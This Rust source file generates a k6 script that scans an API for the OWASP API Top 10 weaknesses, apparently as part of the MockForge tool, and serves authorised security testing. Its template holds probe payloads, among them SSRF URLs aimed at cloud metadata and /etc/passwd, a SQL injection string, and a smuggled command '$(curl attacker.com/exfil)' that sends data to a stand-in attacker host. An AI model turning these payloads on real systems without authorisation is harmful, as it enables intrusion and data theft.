1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let base_path = self.config.base_path.clone().unwrap_or_default();
158 let build_path = |path: &str| -> String {
159 if base_path.is_empty() {
160 path.to_string()
161 } else {
162 format!("{}{}", base_path.trim_end_matches('/'), path)
163 }
164 };
165
166 let ops_with_path_params: Vec<Value> = self
168 .operations
169 .iter()
170 .filter(|op| op.path.contains('{'))
171 .map(|op| {
172 json!({
173 "method": op.method.to_lowercase(),
174 "path": build_path(&op.path),
175 })
176 })
177 .collect();
178
179 let get_operations: Vec<Value> = self
181 .operations
182 .iter()
183 .filter(|op| op.method.to_lowercase() == "get")
184 .map(|op| {
185 json!({
186 "method": op.method.to_lowercase(),
187 "path": build_path(&op.path),
188 })
189 })
190 .collect();
191
192 let auth_header_name = escape_js_string(&self.config.auth_header);
194 let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
195
196 Ok(json!({
197 "base_url": self.target_url,
198 "auth_header_name": auth_header_name,
199 "valid_auth_token": valid_auth_token,
200 "concurrency": self.config.concurrency,
201 "iterations": self.config.iterations,
202 "timeout_ms": self.config.timeout_ms,
203 "report_path": self.config.report_path.to_string_lossy(),
204 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
205 "test_cases": test_cases,
206 "operations": self.operations.iter().map(|op| json!({
207 "method": op.method.to_lowercase(),
208 "path": build_path(&op.path),
209 "operation_id": op.operation_id,
210 "has_body": op.has_body,
211 "requires_auth": op.requires_auth,
212 "has_path_params": op.path.contains('{'),
213 })).collect::<Vec<_>>(),
214 "ops_with_path_params": ops_with_path_params,
215 "get_operations": get_operations,
216 "verbose": self.config.verbose,
217 "insecure": self.config.insecure,
218 "custom_headers": self.config.custom_headers.iter()
220 .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
221 .collect::<Vec<_>>(),
222 "has_custom_headers": !self.config.custom_headers.is_empty(),
223 "test_api1": test_api1,
225 "test_api2": test_api2,
226 "test_api3": test_api3,
227 "test_api4": test_api4,
228 "test_api5": test_api5,
229 "test_api6": test_api6,
230 "test_api7": test_api7,
231 "test_api8": test_api8,
232 "test_api9": test_api9,
233 "test_api10": test_api10,
234 }))
235 }
236
237 fn generate_category_tests(
239 &self,
240 category: OwaspCategory,
241 payload_generator: &OwaspPayloadGenerator,
242 ) -> Result<Vec<Value>> {
243 let payloads = payload_generator.generate_for_category(category);
244 let mut tests = Vec::new();
245
246 for payload in payloads {
247 let applicable_ops = self.get_applicable_operations(&payload);
249
250 for op in applicable_ops {
251 tests.push(json!({
252 "category": category.cli_name(),
253 "category_name": category.short_name(),
254 "description": payload.description,
255 "method": op.method.to_lowercase(),
256 "path": op.path,
257 "payload": payload.value,
258 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
259 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
260 "notes": payload.notes,
261 }));
262 }
263 }
264
265 Ok(tests)
266 }
267
268 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
270 match payload.injection_point {
271 InjectionPoint::PathParam => {
272 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
274 }
275 InjectionPoint::Body => {
276 self.operations.iter().filter(|op| op.has_body).collect()
278 }
279 InjectionPoint::Header | InjectionPoint::Omit => {
280 self.operations.iter().filter(|op| op.requires_auth).collect()
282 }
283 InjectionPoint::QueryParam => {
284 self.operations.iter().collect()
286 }
287 InjectionPoint::Modify => {
288 self.operations.iter().collect()
290 }
291 }
292 }
293
294 fn get_script_template(&self) -> String {
296 r#"// OWASP API Security Top 10 Test Script
297// Generated by MockForge - https://mockforge.dev
298// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
299
300import http from 'k6/http';
301import { check, sleep, group } from 'k6';
302import { Trend, Counter, Rate } from 'k6/metrics';
303
304// Configuration
305const BASE_URL = '{{{base_url}}}';
306const AUTH_HEADER = '{{{auth_header_name}}}';
307{{#if valid_auth_token}}
308const VALID_TOKEN = '{{{valid_auth_token}}}';
309{{else}}
310const VALID_TOKEN = null;
311{{/if}}
312const TIMEOUT = '{{timeout_ms}}ms';
313const VERBOSE = {{verbose}};
314const INSECURE = {{insecure}};
315
316// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
317const CUSTOM_HEADERS = {
318{{#each custom_headers}}
319 '{{{name}}}': '{{{value}}}',
320{{/each}}
321};
322
323// Custom metrics
324const findingsCounter = new Counter('owasp_findings');
325const testsRun = new Counter('owasp_tests_run');
326const vulnerableRate = new Rate('owasp_vulnerable_rate');
327const responseTime = new Trend('owasp_response_time');
328
329// Test options - use per-VU iterations scenario for controlled test runs
330export const options = {
331 scenarios: {
332 owasp_security_test: {
333 executor: 'per-vu-iterations',
334 vus: {{concurrency}},
335 iterations: {{iterations}}, // Iterations per VU
336 maxDuration: '30m',
337 },
338 },
339 thresholds: {
340 'owasp_findings': ['count<100'], // Alert if too many findings
341 },
342 insecureSkipTLSVerify: INSECURE,
343};
344
345// Findings storage
346const findings = [];
347
348// Helper: Log a finding
349function logFinding(category, endpoint, method, description, evidence) {
350 const finding = {
351 category,
352 endpoint,
353 method,
354 description,
355 evidence,
356 timestamp: new Date().toISOString(),
357 };
358 findings.push(finding);
359 findingsCounter.add(1);
360 vulnerableRate.add(1);
361
362 if (VERBOSE) {
363 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
364 }
365}
366
367// Helper: Log test passed
368function logPass(category, endpoint, method) {
369 vulnerableRate.add(0);
370 if (VERBOSE) {
371 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
372 }
373}
374
375// Helper: Generate a random UUID for path parameters
376// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
377function generateRandomId() {
378 return crypto.randomUUID();
379}
380
381// Helper: Replace path parameters with random UUIDs
382// Replaces all {param} patterns with new random UUIDs
383function replacePathParams(path) {
384 return path.replace(/{[^}]+}/g, () => generateRandomId());
385}
386
387// Helper: Make authenticated request
388function authRequest(method, url, body, additionalHeaders = {}) {
389 // Clear cookie jar before EVERY request to prevent k6 from merging
390 // Set-Cookie response cookies with our manually specified Cookie header
391 {{#if has_custom_headers}}
392 http.cookieJar().clear(url);
393 {{/if}}
394
395 const headers = {
396 'Content-Type': 'application/json',
397 ...CUSTOM_HEADERS,
398 ...additionalHeaders,
399 };
400
401 if (VALID_TOKEN) {
402 headers[AUTH_HEADER] = VALID_TOKEN;
403 }
404
405 const params = {
406 headers,
407 timeout: TIMEOUT,
408 jar: null,
409 };
410
411 // k6 uses 'del' instead of 'delete'
412 const httpMethod = method === 'delete' ? 'del' : method;
413
414 if (httpMethod === 'get' || httpMethod === 'head') {
415 return http[httpMethod](url, params);
416 } else {
417 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
418 }
419}
420
421// Helper: Make unauthenticated request
422function unauthRequest(method, url, body, additionalHeaders = {}) {
423 {{#if has_custom_headers}}
424 http.cookieJar().clear(url);
425 {{/if}}
426
427 const headers = {
428 'Content-Type': 'application/json',
429 ...CUSTOM_HEADERS,
430 ...additionalHeaders,
431 };
432
433 const params = {
434 headers,
435 timeout: TIMEOUT,
436 jar: null,
437 };
438
439 // k6 uses 'del' instead of 'delete'
440 const httpMethod = method === 'delete' ? 'del' : method;
441
442 if (httpMethod === 'get' || httpMethod === 'head') {
443 return http[httpMethod](url, params);
444 } else {
445 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
446 }
447}
448
449// API1: Broken Object Level Authorization (BOLA)
450function testBola() {
451 group('API1 - BOLA', function() {
452 console.log('[API1] Testing Broken Object Level Authorization...');
453
454 {{#each operations}}
455 {{#if has_path_params}}
456 // Test {{path}}
457 {
458 // Generate different random UUIDs for each test
459 const originalId = generateRandomId();
460 const targetId = generateRandomId();
461 const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
462 const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
463
464 if (VERBOSE) {
465 console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
466 }
467
468 // Get baseline with first random ID
469 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
470
471 // Try to access different random ID (simulating another user's resource)
472 const response = authRequest('{{method}}', BASE_URL + targetPath, null);
473 testsRun.add(1);
474 responseTime.add(response.timings.duration);
475
476 if (response.status >= 200 && response.status < 300) {
477 // Check if we got different data (potential BOLA vulnerability)
478 if (response.body !== baseline.body && response.body.length > 0) {
479 logFinding('api1', '{{path}}', '{{method}}',
480 'ID manipulation accepted - accessed different resource',
481 { status: response.status, originalId, targetId, bodyLength: response.body.length });
482 } else {
483 logPass('api1', '{{path}}', '{{method}}');
484 }
485 } else {
486 logPass('api1', '{{path}}', '{{method}}');
487 }
488 }
489 {{/if}}
490 {{/each}}
491 });
492}
493
494// API2: Broken Authentication
495function testBrokenAuth() {
496 group('API2 - Broken Authentication', function() {
497 console.log('[API2] Testing Broken Authentication...');
498
499 {{#each operations}}
500 {{#if requires_auth}}
501 // Test {{path}} without auth
502 {
503 const testPath = replacePathParams('{{path}}');
504 const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
505 testsRun.add(1);
506 responseTime.add(response.timings.duration);
507
508 if (response.status >= 200 && response.status < 300) {
509 logFinding('api2', '{{path}}', '{{method}}',
510 'Endpoint accessible without authentication',
511 { status: response.status });
512 } else {
513 logPass('api2', '{{path}}', '{{method}}');
514 }
515 }
516
517 // Test {{path}} with empty token
518 {
519 const testPath = replacePathParams('{{path}}');
520 const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
521 const makeEmptyTokenRequest = (m, url, body, params) => {
522 if (m === 'get' || m === 'head') return http[m](url, params);
523 return http[m](url, body, params);
524 };
525 const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
526 headers: { [AUTH_HEADER]: 'Bearer ' },
527 timeout: TIMEOUT,
528 jar: null,
529 });
530 testsRun.add(1);
531
532 if (response.status >= 200 && response.status < 300) {
533 logFinding('api2', '{{path}}', '{{method}}',
534 'Endpoint accessible with empty Bearer token',
535 { status: response.status });
536 }
537 }
538 {{/if}}
539 {{/each}}
540 });
541}
542
543// API3: Broken Object Property Level Authorization (Mass Assignment)
544function testMassAssignment() {
545 group('API3 - Mass Assignment', function() {
546 console.log('[API3] Testing Mass Assignment...');
547
548 const massAssignmentPayloads = [
549 { role: 'admin' },
550 { is_admin: true },
551 { isAdmin: true },
552 { permissions: ['admin', 'write', 'delete'] },
553 { verified: true },
554 { email_verified: true },
555 { balance: 999999 },
556 ];
557
558 {{#each operations}}
559 {{#if has_body}}
560 // Test {{path}}
561 {
562 const testPath = replacePathParams('{{path}}');
563 massAssignmentPayloads.forEach(payload => {
564 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
565 testsRun.add(1);
566 responseTime.add(response.timings.duration);
567
568 if (response.status >= 200 && response.status < 300) {
569 // Check if unauthorized field appears in response
570 const responseBody = response.body.toLowerCase();
571 const payloadKey = Object.keys(payload)[0].toLowerCase();
572
573 if (responseBody.includes(payloadKey)) {
574 logFinding('api3', '{{path}}', '{{method}}',
575 `Mass assignment accepted: ${payloadKey}`,
576 { status: response.status, payload });
577 } else {
578 logPass('api3', '{{path}}', '{{method}}');
579 }
580 }
581 });
582 }
583 {{/if}}
584 {{/each}}
585 });
586}
587
588// API4: Unrestricted Resource Consumption
589function testResourceConsumption() {
590 group('API4 - Resource Consumption', function() {
591 console.log('[API4] Testing Resource Consumption...');
592
593 {{#each operations}}
594 // Test {{path}} with excessive limit
595 {
596 const testPath = replacePathParams('{{path}}');
597 const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
598 const response = authRequest('{{method}}', url, null);
599 testsRun.add(1);
600 responseTime.add(response.timings.duration);
601
602 // Check for rate limit headers
603 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
604 response.headers['x-ratelimit-limit'] ||
605 response.headers['RateLimit-Limit'];
606
607 if (response.status === 429) {
608 logPass('api4', '{{path}}', '{{method}}');
609 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
610 logFinding('api4', '{{path}}', '{{method}}',
611 'No rate limiting detected',
612 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
613 } else {
614 logPass('api4', '{{path}}', '{{method}}');
615 }
616 }
617 {{/each}}
618 });
619}
620
621// API5: Broken Function Level Authorization
622function testFunctionAuth() {
623 group('API5 - Function Authorization', function() {
624 console.log('[API5] Testing Function Level Authorization...');
625
626 const adminPaths = [
627 '/admin',
628 '/admin/users',
629 '/admin/settings',
630 '/api/admin',
631 '/internal',
632 '/management',
633 ];
634
635 adminPaths.forEach(path => {
636 const response = authRequest('get', BASE_URL + path, null);
637 testsRun.add(1);
638 responseTime.add(response.timings.duration);
639
640 if (response.status >= 200 && response.status < 300) {
641 logFinding('api5', path, 'GET',
642 'Admin endpoint accessible',
643 { status: response.status });
644 } else if (response.status === 403 || response.status === 401) {
645 logPass('api5', path, 'GET');
646 }
647 });
648
649 // Also test changing methods on read-only endpoints
650 {{#each get_operations}}
651 {
652 const testPath = replacePathParams('{{path}}');
653 const response = authRequest('delete', BASE_URL + testPath, null);
654 testsRun.add(1);
655
656 if (response.status >= 200 && response.status < 300) {
657 logFinding('api5', '{{path}}', 'DELETE',
658 'DELETE method allowed on read-only endpoint',
659 { status: response.status });
660 }
661 }
662 {{/each}}
663 });
664}
665
666// API7: Server Side Request Forgery (SSRF)
667function testSsrf() {
668 group('API7 - SSRF', function() {
669 console.log('[API7] Testing Server Side Request Forgery...');
670
671 const ssrfPayloads = [
672 'http://localhost/',
673 'http://127.0.0.1/',
674 'http://169.254.169.254/latest/meta-data/',
675 'http://[::1]/',
676 'file:///etc/passwd',
677 ];
678
679 {{#each operations}}
680 {{#if has_body}}
681 // Test {{path}} with SSRF payloads
682 {
683 const testPath = replacePathParams('{{path}}');
684 ssrfPayloads.forEach(payload => {
685 const body = {
686 url: payload,
687 webhook_url: payload,
688 callback: payload,
689 image_url: payload,
690 };
691
692 const response = authRequest('{{method}}', BASE_URL + testPath, body);
693 testsRun.add(1);
694 responseTime.add(response.timings.duration);
695
696 if (response.status >= 200 && response.status < 300) {
697 // Check for indicators of internal access
698 const bodyLower = response.body.toLowerCase();
699 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
700
701 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
702 logFinding('api7', '{{path}}', '{{method}}',
703 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
704 { status: response.status, payload });
705 }
706 }
707 });
708 }
709 {{/if}}
710 {{/each}}
711 });
712}
713
714// API8: Security Misconfiguration
715function testMisconfiguration() {
716 group('API8 - Security Misconfiguration', function() {
717 console.log('[API8] Testing Security Misconfiguration...');
718
719 {{#each operations}}
720 // Test {{path}} for security headers
721 {
722 const testPath = replacePathParams('{{path}}');
723 const response = authRequest('{{method}}', BASE_URL + testPath, null);
724 testsRun.add(1);
725 responseTime.add(response.timings.duration);
726
727 const missingHeaders = [];
728
729 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
730 missingHeaders.push('X-Content-Type-Options');
731 }
732 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
733 missingHeaders.push('X-Frame-Options');
734 }
735 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
736 missingHeaders.push('Strict-Transport-Security');
737 }
738
739 // Check for overly permissive CORS
740 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
741 if (acao === '*') {
742 logFinding('api8', '{{path}}', '{{method}}',
743 'CORS allows all origins (Access-Control-Allow-Origin: *)',
744 { status: response.status });
745 }
746
747 if (missingHeaders.length > 0) {
748 logFinding('api8', '{{path}}', '{{method}}',
749 `Missing security headers: ${missingHeaders.join(', ')}`,
750 { status: response.status, missingHeaders });
751 }
752 }
753 {{/each}}
754
755 // Test for verbose errors
756 {{#each operations}}
757 {{#if has_body}}
758 {
759 const testPath = replacePathParams('{{path}}');
760 const malformedBody = '{"invalid": "json';
761 {{#if @root.has_custom_headers}}
762 http.cookieJar().clear(BASE_URL + testPath);
763 {{/if}}
764 const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
765 headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
766 timeout: TIMEOUT,
767 jar: null,
768 });
769 testsRun.add(1);
770
771 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
772 const bodyLower = response.body.toLowerCase();
773
774 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
775 logFinding('api8', '{{path}}', '{{method}}',
776 'Verbose error messages exposed',
777 { status: response.status });
778 }
779 }
780 {{/if}}
781 {{/each}}
782 });
783}
784
785// API9: Improper Inventory Management
786function testInventory() {
787 group('API9 - Inventory Management', function() {
788 console.log('[API9] Testing Improper Inventory Management...');
789
790 const discoveryPaths = [
791 '/swagger',
792 '/swagger-ui',
793 '/swagger.json',
794 '/api-docs',
795 '/openapi',
796 '/openapi.json',
797 '/graphql',
798 '/graphiql',
799 '/debug',
800 '/actuator',
801 '/actuator/health',
802 '/actuator/env',
803 '/metrics',
804 '/.env',
805 '/config',
806 ];
807
808 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
809
810 discoveryPaths.forEach(path => {
811 {{#if @root.has_custom_headers}}
812 http.cookieJar().clear(BASE_URL + path);
813 {{/if}}
814 const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
815 testsRun.add(1);
816 responseTime.add(response.timings.duration);
817
818 if (response.status !== 404) {
819 logFinding('api9', path, 'GET',
820 `Undocumented endpoint discovered (HTTP ${response.status})`,
821 { status: response.status });
822 }
823 });
824
825 // Check for old API versions
826 apiVersions.forEach(version => {
827 {{#if @root.has_custom_headers}}
828 http.cookieJar().clear(BASE_URL + '/' + version + '/');
829 {{/if}}
830 const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: null });
831 testsRun.add(1);
832
833 if (response.status !== 404) {
834 logFinding('api9', '/' + version + '/', 'GET',
835 `API version endpoint exists (HTTP ${response.status})`,
836 { status: response.status });
837 }
838 });
839 });
840}
841
842// API10: Unsafe Consumption of APIs
843function testUnsafeConsumption() {
844 group('API10 - Unsafe Consumption', function() {
845 console.log('[API10] Testing Unsafe Consumption...');
846
847 const injectionPayloads = [
848 { external_id: "'; DROP TABLE users;--" },
849 { integration_data: "$(curl attacker.com/exfil)" },
850 { template: "\{{7*7}}" },
851 { webhook_url: "http://127.0.0.1:8080/internal" },
852 ];
853
854 {{#each operations}}
855 {{#if has_body}}
856 // Test {{path}} with injection payloads
857 {
858 const testPath = replacePathParams('{{path}}');
859 injectionPayloads.forEach(payload => {
860 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
861 testsRun.add(1);
862 responseTime.add(response.timings.duration);
863
864 // Check if payload was processed (e.g., SSTI returning 49)
865 if (response.body.includes('49')) {
866 logFinding('api10', '{{path}}', '{{method}}',
867 'Server-side template injection detected',
868 { status: response.status, payload });
869 }
870 });
871 }
872 {{/if}}
873 {{/each}}
874 });
875}
876
877// Main test function
878export default function() {
879 // Clear cookie jar to prevent duplication with manually specified Cookie headers.
880 // k6 accumulates cookies from Set-Cookie response headers in its VU cookie jar,
881 // which can cause duplicate cookie values even when jar:null is set per-request.
882 {{#if has_custom_headers}}
883 http.cookieJar().clear(BASE_URL);
884 {{/if}}
885
886 console.log('Starting OWASP API Top 10 Security Scan...');
887 console.log('Target: ' + BASE_URL);
888 console.log('');
889
890 {{#if test_api1}}
891 testBola();
892 {{/if}}
893 {{#if test_api2}}
894 testBrokenAuth();
895 {{/if}}
896 {{#if test_api3}}
897 testMassAssignment();
898 {{/if}}
899 {{#if test_api4}}
900 testResourceConsumption();
901 {{/if}}
902 {{#if test_api5}}
903 testFunctionAuth();
904 {{/if}}
905 {{#if test_api7}}
906 testSsrf();
907 {{/if}}
908 {{#if test_api8}}
909 testMisconfiguration();
910 {{/if}}
911 {{#if test_api9}}
912 testInventory();
913 {{/if}}
914 {{#if test_api10}}
915 testUnsafeConsumption();
916 {{/if}}
917
918 sleep(0.1);
919}
920
921// Teardown: Output results
922export function teardown(data) {
923 console.log('');
924 console.log('='.repeat(50));
925 console.log('OWASP API Top 10 Scan Complete');
926 console.log('='.repeat(50));
927 console.log('Total findings: ' + findings.length);
928
929 if (findings.length > 0) {
930 console.log('');
931 console.log('Findings by category:');
932 const byCategory = {};
933 findings.forEach(f => {
934 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
935 });
936 Object.entries(byCategory).forEach(([cat, count]) => {
937 console.log(' ' + cat + ': ' + count);
938 });
939 }
940
941 // Write JSON report
942 console.log('');
943 console.log('Report written to: {{report_path}}');
944}
945"#.to_string()
946 }
947}
948
949fn contains_helper(
951 h: &handlebars::Helper,
952 _: &Handlebars,
953 _: &handlebars::Context,
954 _: &mut handlebars::RenderContext,
955 out: &mut dyn handlebars::Output,
956) -> handlebars::HelperResult {
957 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
958 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
959 let result = param1.contains(param2);
960 out.write(&result.to_string())?;
961 Ok(())
962}
963
964fn eq_helper(
966 h: &handlebars::Helper,
967 _: &Handlebars,
968 _: &handlebars::Context,
969 _: &mut handlebars::RenderContext,
970 out: &mut dyn handlebars::Output,
971) -> handlebars::HelperResult {
972 let param1 = h.param(0).map(|v| v.value());
973 let param2 = h.param(1).map(|v| v.value());
974 let result = param1 == param2;
975 out.write(&result.to_string())?;
976 Ok(())
977}
978
979#[cfg(test)]
980mod tests {
981 use super::*;
982
983 #[test]
984 fn test_generator_creation() {
985 let template = r#"
988 {{#each operations}}
989 // {{method}} {{path}}
990 {{/each}}
991 "#;
992
993 let handlebars = Handlebars::new();
994 let data = json!({
995 "operations": [
996 { "method": "GET", "path": "/users" },
997 { "method": "POST", "path": "/users" },
998 ]
999 });
1000
1001 let result = handlebars.render_template(template, &data);
1002 assert!(result.is_ok());
1003 }
1004
1005 #[test]
1006 fn test_script_template_renders() {
1007 let config = OwaspApiConfig::default()
1008 .with_categories([OwaspCategory::Api1Bola])
1009 .with_valid_auth_token("Bearer test123");
1010
1011 let template = r#"
1012const AUTH = '{{auth_header_name}}';
1013const TOKEN = '{{valid_auth_token}}';
1014{{#each categories_tested}}
1015// Testing: {{this}}
1016{{/each}}
1017 "#;
1018
1019 let handlebars = Handlebars::new();
1020 let data = json!({
1021 "auth_header_name": config.auth_header,
1022 "valid_auth_token": config.valid_auth_token,
1023 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1024 });
1025
1026 let result = handlebars.render_template(template, &data).unwrap();
1027 assert!(result.contains("Authorization"));
1028 assert!(result.contains("Bearer test123"));
1029 assert!(result.contains("api1"));
1030 }
1031
1032 #[test]
1033 fn test_owasp_cookie_jar_cleared_with_custom_headers() {
1034 let template = r#"
1036{{#if has_custom_headers}}
1037http.cookieJar().clear(BASE_URL);
1038{{/if}}
1039export default function() {}
1040"#;
1041 let handlebars = Handlebars::new();
1042 let data = json!({
1043 "has_custom_headers": true,
1044 });
1045 let result = handlebars.render_template(template, &data).unwrap();
1046 assert!(
1047 result.contains("http.cookieJar().clear(BASE_URL)"),
1048 "Should clear cookie jar when custom headers are present"
1049 );
1050
1051 let data_no_headers = json!({
1052 "has_custom_headers": false,
1053 });
1054 let result_no_headers = handlebars.render_template(template, &data_no_headers).unwrap();
1055 assert!(
1056 !result_no_headers.contains("cookieJar"),
1057 "Should NOT clear cookie jar when no custom headers"
1058 );
1059 }
1060}